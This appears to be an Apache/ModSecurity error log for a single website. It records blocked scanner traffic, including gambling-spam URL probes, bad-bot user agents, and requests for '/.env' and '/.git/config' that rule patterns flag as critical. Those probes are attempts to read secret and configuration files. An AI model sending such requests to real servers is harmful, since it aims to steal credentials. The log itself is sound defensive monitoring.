[Thu Jan 29 16:22:42.647758 2026] [:error] [pid 19070:tid 19110] [client 62.84.185.67:51600] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w69%20slot.aspx"] [unique_id "aXsY0rou83lIon_aKgayBQAAAEQ"]
[Thu Jan 29 17:34:32.097801 2026] [:error] [pid 20580:tid 20692] [client 101.33.80.42:56334] [client 101.33.80.42] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aXspqJCZ5HHdXPmeL5_8WwAAApg"]
[Thu Jan 29 22:28:27.078924 2026] [:error] [pid 19069:tid 19093] [client 47.90.227.150:38000] [client 47.90.227.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aXtui_DHsRM4BJ9a4QuBrQAAAA8"]
[Thu Jan 29 22:28:27.706084 2026] [:error] [pid 19069:tid 19098] [client 47.90.227.150:60466] [client 47.90.227.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aXtui_DHsRM4BJ9a4QuBsAAAABQ"]
[Thu Jan 29 23:09:49.364275 2026] [:error] [pid 39863:tid 39877] [client 150.109.46.88:41636] [client 150.109.46.88] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aXt4PbsHJJGGu8set58bwQAAAUs"]
[Thu Jan 29 23:27:51.245444 2026] [:error] [pid 19069:tid 19093] [client 45.141.215.153:60746] [client 45.141.215.153] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env"] [unique_id "aXt8d_DHsRM4BJ9a4QuNSAAAAA8"]
[Thu Jan 29 23:27:51.339896 2026] [:error] [pid 19071:tid 19140] [client 45.141.215.153:60760] [client 45.141.215.153] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env"] [unique_id "aXt8d5fa8Ix5wWmtmJy1BQAAAIc"]
[Fri Jan 30 00:47:12.871818 2026] [:error] [pid 39813:tid 39823] [client 85.203.21.77:49267] [client 85.203.21.77] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env"] [unique_id "aXuPEN_AaZSBkqpNK03McQAAAUg"]
[Fri Jan 30 00:47:14.299246 2026] [:error] [pid 39813:tid 39817] [client 85.203.21.86:35927] [client 85.203.21.86] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env"] [unique_id "aXuPEt_AaZSBkqpNK03MfAAAAUI"]
[Fri Jan 30 01:38:20.760851 2026] [:error] [pid 39592:tid 39601] [client 144.172.112.54:47346] [client 144.172.112.54] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aXubDJlnGYODSsJUyHlK5gAAAMQ"]
[Fri Jan 30 03:49:33.090595 2026] [:error] [pid 46912:tid 46948] [client 85.203.21.150:58079] [client 85.203.21.150] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env"] [unique_id "aXu5zT6yiVW7A9NwFFncbgAAABg"]
[Fri Jan 30 03:49:35.717123 2026] [:error] [pid 46914:tid 46979] [client 85.203.21.86:20673] [client 85.203.21.86] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env"] [unique_id "aXu5z1gSfJ4kZxNKlb-LAwAAAIE"]
[Fri Jan 30 05:05:59.364157 2026] [:error] [pid 46913:tid 46973] [client 5.182.17.127:56820] [client 5.182.17.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/"] [unique_id "aXvLtzMWmKL8hOfC3uQJ6AAAAFY"], referer: binance.com
[Fri Jan 30 05:40:33.098720 2026] [autoindex:error] [pid 38980:tid 38990] [client 164.90.142.198:56186] AH01276: Cannot serve directory /home/measureyourbrand/public_html/.well-known/: No matching DirectoryIndex (index.php) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Fri Jan 30 05:41:24.078466 2026] [:error] [pid 24711:tid 24719] [client 162.62.213.165:32898] [client 162.62.213.165] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aXvUBK5Gwh4var6T23JCeAAAAUU"]
[Fri Jan 30 05:51:02.759189 2026] [:error] [pid 24711:tid 24717] [client 147.135.252.177:41742] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aXvWRq5Gwh4var6T23JFCgAAAUM"]
[Fri Jan 30 05:51:06.171938 2026] [:error] [pid 24711:tid 24714] [client 147.135.252.177:45764] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aXvWSq5Gwh4var6T23JFEAAAAUA"]
[Fri Jan 30 05:51:09.624653 2026] [:error] [pid 38980:tid 39005] [client 147.135.252.177:45780] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aXvWTbYByxUZEaKXdHrhZwAAAhI"]
[Fri Jan 30 05:51:12.611334 2026] [:error] [pid 46913:tid 46972] [client 147.135.252.177:45784] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aXvWUDMWmKL8hOfC3uQXlgAAAFU"]
[Fri Jan 30 05:51:15.770725 2026] [:error] [pid 24711:tid 24738] [client 147.135.252.177:53670] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aXvWU65Gwh4var6T23JFGQAAAVg"]
[Fri Jan 30 05:51:18.826838 2026] [:error] [pid 38686:tid 38706] [client 147.135.252.177:53682] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "aXvWVgoE8BAjgw1_sAWR-AAAAdA"]
[Fri Jan 30 05:51:21.565477 2026] [:error] [pid 24711:tid 24730] [client 147.135.252.177:53692] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aXvWWa5Gwh4var6T23JFHwAAAVA"]
[Fri Jan 30 05:51:25.070647 2026] [:error] [pid 24711:tid 24737] [client 147.135.252.177:57746] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot.aspx"] [unique_id "aXvWXa5Gwh4var6T23JFKQAAAVc"]
[Fri Jan 30 05:51:27.890686 2026] [:error] [pid 47021:tid 47041] [client 147.135.252.177:57760] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "aXvWX9ap1k13UdZUNSQ9vwAAANI"]
[Fri Jan 30 05:51:31.387073 2026] [:error] [pid 24712:tid 24754] [client 147.135.252.177:57772] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "aXvWY4RLQrFiQF3h9-tXYAAAAY0"]
[Fri Jan 30 05:51:34.701741 2026] [:error] [pid 46914:tid 46981] [client 147.135.252.177:50504] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20soft.aspx"] [unique_id "aXvWZlgSfJ4kZxNKlb-2WgAAAIM"]
[Fri Jan 30 05:51:37.622641 2026] [:error] [pid 24712:tid 24751] [client 147.135.252.177:50514] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20th.aspx"] [unique_id "aXvWaYRLQrFiQF3h9-tXZQAAAYo"]
[Fri Jan 30 05:51:40.598205 2026] [:error] [pid 24711:tid 24736] [client 147.135.252.177:50520] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "aXvWbK5Gwh4var6T23JFOAAAAVY"]
[Fri Jan 30 05:51:43.546170 2026] [:error] [pid 24711:tid 24723] [client 147.135.252.177:50528] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20world.aspx"] [unique_id "aXvWb65Gwh4var6T23JFPgAAAUk"]
[Fri Jan 30 05:51:46.481486 2026] [:error] [pid 47021:tid 47028] [client 147.135.252.177:41244] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "aXvWctap1k13UdZUNSQ99AAAAMU"]
[Fri Jan 30 05:51:49.339608 2026] [:error] [pid 47021:tid 47041] [client 147.135.252.177:41252] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "aXvWddap1k13UdZUNSQ99wAAANI"]
[Fri Jan 30 05:51:52.248533 2026] [:error] [pid 46912:tid 46946] [client 147.135.252.177:41262] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "aXvWeD6yiVW7A9NwFFkF1wAAABY"]
[Fri Jan 30 05:51:55.044489 2026] [:error] [pid 46912:tid 46939] [client 147.135.252.177:56536] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/royal%20slot.aspx"] [unique_id "aXvWez6yiVW7A9NwFFkF2wAAAA8"]
[Fri Jan 30 05:51:58.053273 2026] [:error] [pid 24711:tid 24736] [client 147.135.252.177:56542] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aXvWfq5Gwh4var6T23JFUQAAAVY"]
[Fri Jan 30 05:52:21.837194 2026] [:error] [pid 24712:tid 24766] [client 147.135.252.177:56546] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aXvWlYRLQrFiQF3h9-tXoAAAAZg"]
[Fri Jan 30 05:52:24.348380 2026] [:error] [pid 38686:tid 38707] [client 147.135.252.177:57088] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aXvWmAoE8BAjgw1_sAWSZQAAAdE"]
[Fri Jan 30 05:52:26.953625 2026] [:error] [pid 24711:tid 24736] [client 147.135.252.177:57098] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aXvWmq5Gwh4var6T23JFgQAAAVY"]
[Fri Jan 30 05:52:29.575710 2026] [:error] [pid 47021:tid 47039] [client 147.135.252.177:57106] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "aXvWndap1k13UdZUNSQ-OwAAANA"]
[Fri Jan 30 05:52:32.216930 2026] [:error] [pid 24681:tid 24705] [client 147.135.252.177:57112] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20168.aspx"] [unique_id "aXvWoIE368IXQpahn0K6zQAAARY"]
[Fri Jan 30 05:52:34.979678 2026] [:error] [pid 47021:tid 47036] [client 147.135.252.177:47156] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "aXvWotap1k13UdZUNSQ-RwAAAM0"]
[Fri Jan 30 05:52:37.683525 2026] [:error] [pid 38686:tid 38710] [client 147.135.252.177:47164] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "aXvWpQoE8BAjgw1_sAWSdwAAAdQ"]
[Fri Jan 30 05:52:40.235662 2026] [:error] [pid 24681:tid 24704] [client 147.135.252.177:47176] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "aXvWqIE368IXQpahn0K60wAAARU"]
[Fri Jan 30 05:52:42.786826 2026] [:error] [pid 24711:tid 24737] [client 147.135.252.177:47188] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "aXvWqq5Gwh4var6T23JFjgAAAVc"]
[Fri Jan 30 05:52:45.509802 2026] [:error] [pid 46913:tid 46972] [client 147.135.252.177:42790] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aXvWrTMWmKL8hOfC3uQYGQAAAFU"]
[Fri Jan 30 05:52:48.190836 2026] [:error] [pid 24711:tid 24722] [client 147.135.252.177:42802] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aXvWsK5Gwh4var6T23JFlQAAAUg"]
[Fri Jan 30 05:52:50.786438 2026] [:error] [pid 24711:tid 24726] [client 147.135.252.177:42810] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aXvWsq5Gwh4var6T23JFlwAAAUw"]
[Fri Jan 30 05:52:53.412648 2026] [:error] [pid 46912:tid 46946] [client 147.135.252.177:42814] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "aXvWtT6yiVW7A9NwFFkGGgAAABY"]
[Fri Jan 30 05:52:55.886739 2026] [:error] [pid 38686:tid 38712] [client 147.135.252.177:57744] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "aXvWtwoE8BAjgw1_sAWSkwAAAdY"]
[Fri Jan 30 05:52:58.358736 2026] [:error] [pid 47021:tid 47036] [client 147.135.252.177:57746] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aXvWutap1k13UdZUNSQ-awAAAM0"]
[Fri Jan 30 06:51:34.663600 2026] [:error] [pid 46914:tid 46994] [client 101.91.148.219:34164] [client 101.91.148.219] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aXvkdlgSfJ4kZxNKlb_DqgAAAJA"]
[Fri Jan 30 10:24:41.453058 2026] [:error] [pid 38980:tid 38992] [client 145.239.71.147:41364] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "aXwWabYByxUZEaKXdHokWQAAAgU"]
[Fri Jan 30 10:24:44.698170 2026] [:error] [pid 46912:tid 46945] [client 145.239.71.147:56874] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "aXwWbD6yiVW7A9NwFFlUegAAABU"]
[Fri Jan 30 10:24:47.656470 2026] [:error] [pid 24711:tid 24735] [client 145.239.71.147:56890] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "aXwWb65Gwh4var6T23KhtwAAAVU"]
[Fri Jan 30 10:24:50.555966 2026] [:error] [pid 46912:tid 46925] [client 145.239.71.147:56896] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "aXwWcj6yiVW7A9NwFFlUhQAAAAE"]
